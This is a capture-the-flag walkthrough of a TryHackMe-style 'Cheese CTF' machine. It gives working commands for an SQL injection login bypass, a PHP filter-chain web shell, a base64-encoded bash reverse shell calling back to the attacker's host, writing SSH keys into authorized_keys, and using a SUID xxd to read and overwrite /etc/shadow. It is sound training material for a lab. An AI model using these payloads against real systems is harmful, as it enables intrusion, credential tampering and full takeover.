Cheese CTF

Inspired by the great cheese talk of THM! - by shadowabsorber and VainXploits


Recon

We start with a Nmap scan and find a lot of open ports. Including port 80 and 22.

In the hope of recognising services that are actually running, we use the version scan tag. But here too we are overwhelmed by the results.In order to identify those services that are actually operational, we employ the use of the version scan tag. However, even this approach yields an overwhelming number of results.

The next guess is simply to try it with a standard port like 80. And we have a hit. A website, a Cheese Shop, that offers a login as well as some products.

As a precaution, we run a directory scan using Feroxbuster to make sure we don't miss anything, but find nothing of interest that we don't already know about. The login page.

On the login page, we try with default credentials, but cannot log in. We also notice that the error message is generic. Usernames and passwords cannot be derived.

Web Access

We continue with the next possibility, SQL injection to bypass the login. Let's try something simple first and use SQLMap. To do this, we intercept the login request using Burp Suite and then use it in SQLMap.

We use the recorded request and follow the instructions in the interactive mode of SQLMap. Although we have no direct success, we can see that there is a redirect to /secret-script.php. We were probably partially successful.

To get past the login, we use the procedure from the Injectics room and brute-force with a series of payloads.

We obtain the payloads from the following source and paste the content to login-bypass.md:

It is important to note that this is a CTF, and we can use payloads without hesitation and without causing serious damage. In the following room, Tib3rius explains why it is important to rethink your actions and the choice of payloads - not using something like ' OR 1 = 1 -- -:

With the following Fuff query, we get some results and choose the first one.

ffuf -w login-bypass.md -X POST -u http://cheesectf.thm/login.php -d 'username=FUZZ&password=asdf' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -fw 227

After we have transferred the following payload, we have successfully logged in.

' OR 'x'='x'#;

Shell As www-data

In the admin dashboard, we can see that the resources are called up using the file parameter. This already indicates the first vulnerability of file inclusion. Furthermore, we see the use of php filters when integrating the resources. This gives hope for one of my favourite vulnerabilities. LFI2RCE via PHP Filters. A detailed write-up on this can be found here:

https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

In short with that we are able to generate arbitrary php code for the include without needing to write it into a file. Which makes it really amazing.

We now try to include stump /etc/passwd and are successful.

How such a payload can be generated with the help of a script can be found at PayloadAllTheThings:

The following source provides us with the script to build such a filter chain:

First, we keep it simple and generate a payload to display the phpinfo page to see if filter chaining is possible.

python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'

We give the payload to the file parameter and see the phpinfo page after loading the page. LFI2RCE via PHP filters seems to be possible.

Next, we generate a payload with the smallest possible PHP web shell.

python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`?>'

We call the id command using the preceding parameter 0. We are www-data. We have remote code execution.

http://cheesectf.thm/secret-script.php?0=id&file=php://filter/convert.iconv.UTF8...

We now want to have a more interactive reverse shell. To do this, we spawn a reverse shell. We build a Bash -i reverse shell using revshells.com and encode it in base64.

To avoid possible conflicts with special characters in the URL, we encode it in base64 and execute it with the following command:

echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjguMjExLjEvNDQ0NSAwPiYx|base64 -d| bash

We set up a listener on our desired port and call up the page with our reverse shell command.

http://cheesectf.thm/secret-script.php?0=echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjguMjExLjEvNDQ0NSAwPiYx|base64 -d| bash&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

We get a connection back and use the opportunity to upgrade the reverse shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo && fg

Shell As comte

As www-data, we cannot find the flag directly in its home directory. We first conveniently enumerate the target using Linpeas.

We realize that we can write to /etc/systemd/system/exploit.timer. We keep this in mind for now, as it will only become important for us later.

We check out the home directories and see that we can read the home directory of the user comte. This user has the first flag. We also notice that we can write to .ssh/authorised_keys. Since we can write in authorized_keys from user comte, we have the option to write in our own public key, which allows us to access the machine via ssh with our private key as comte. That's what we're doing now.

We create a new ssh key using ssh-keygen, change the permissions on the private key and copy the contents of the public key.

Now we just paste that into /home/comte/.ssh/authorized_keys.

echo 'YOUR SSH PUBLIC KEY' > /home/comte/.ssh/authorized_keys

The next step is to log in as comte with our private key...

... and have access to the first flag.

Root Flag

As comte, we may execute some systemctl commands without adding a password using sudo. Here we see that it is the service exploit timer. This looks familiar to us.

Recalling the LinPeas result:

Let's take a look at what is behind the service /etc/systemd/system/exploit.service. It copies xxd to /opt and turns it into a SUID binary. Since it is then still in the possession of the root user, we can use it to read any files.

We can find out how to exploit this at GTFOBins:

However, we receive an error message when we start the service. The set timer in exploit.timer is malformed. We remember that we have write access to this. Let's take a look at it.

The value for OnBootSec is not set, which triggers the error.

We correct this by setting OnUnitActiveSec=0 and OnBootSec=0. This triggers the service immediately after execution.

[Unit]
Description=Exploit Timer

[Timer]
OnUnitActiveSec=0
OnBootSec=0

[Install]
WantedBy=timers.target

We run the service as follows, which copies the xxd to /opt and sets the SUID bit, recognisable by the red background.

Next, we specify which file we want to read. The first thing we are interested in is the root flag. As mentioned, we can find out how to do this in GTFOBins. And we are able to read the root flag.

LFILE=/root/root.txt
./xxd "$LFILE" | xxd -r

Shell As root

To get a shell as root, we have at least two ways available. Since we can not only read as root with the xxd binary with the SUID bit set, but also write as root, we have the option of overwriting the /etc/shadow file or overwriting the /root/.ssh/authorised_keys file of root. Both are briefly touched on.

Option I - /etc/shadow

First, we generate a simple password using OpenSSL using the following command:

openssl passwd -1 root123

The openssl passwd -1 command is used to generate a hashed version of a password. The passwd utility within OpenSSL can generate password hashes in various formats, including the MD5-based hash (-1 flag). This is useful when you need to set or replace a password in files like /etc/shadow, where the passwords are stored as hashes, not plaintext.

Next, we read the /etc/shadow file using xxd, for the correct format.

LFILE=/etc/shadow
sudo xxd "$LFILE" | xxd -r

We craft the string from the hash and the info from the /etc/shadow file.

root:$1$96fgip6y$UMzZueh4kfXZDZ/gpPoED.:19627:0:99999:7:::

Next, we just write it to the /etc/shadow file. See GTFOBins for the command:

echo 'root:$1$96fgip6y$UMzZueh4kfXZDZ/gpPoED.:19627:0:99999:7:::' | /opt/xxd | /opt/xxd -r - "$LFILE"

For confirmation, we read the file again.

./xxd "$LFILE" | xxd -r

We now just have to switch to root with the new set password.

Option II - /root/.ssh/authorized_keys

To write to /root/.ssh/authorized_keys we set the LFILE variable.

LFILE=/root/.ssh/authorized_keys

From our previous solution we use our ssh public key and write it to /root/.ssh/authorized_keys using xxd.

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMQO4ulR0Un7i5hgAjcVOrlbmlYDQXdCZFq+VrGXphMNbcE2alc6LWZVx2ZcaFScvFX5XNUNDkam0mypkn8aSlBLjCQZt51T2wDIGfKieJNr/gsJl+N+JuYCsgFce9B80h7DACOmpyTGrNzLsh40nmv+y895zaeK7DMDXzWXzxmxCCmnElHz8Ry3dsU9TO4/eYJABwtvkT3IEGDcDI9sfG/v1VmhNnyFG0C+Nfpg1SwAUxG4Dk0O8EvOQ6FopalDXIxsiQCZeVLaX94UvEOZgXfyvkQ/aCEI329p5p93rmBay/q+HTWMhNdrez3B/ye+IGm1hFsd2//enFxsrCQprS52ii5FMq2rksKvE9ZEvr9LwuPFc+e5tfny4RcLN28FhjrxBCNgwZQIbZQmry406GvpMSGgLC0HtCM3HBxlXdgGHbgfnH0fEuIgXzVc1wsFG2yfSp/ASnVFq9bqjfTn5E6v1UJzh1HHwqxTsq0rVgv3gYv+Yt8lg5axIye1xb8GE= 0xb0b@kali' | /opt/xxd | /opt/xxd -r - "$LFILE"

We are now able to log in as root via SSH.

Further Considerations

I originally wanted to read the SSH key of the root user in /root/.ssh/id_rsa, but unfortunately, this was not available.

Since this was not possible, the next idea was to extract the hashes from the /etc/shadow file and to crack them but also without success.

Steps taken:

Last updated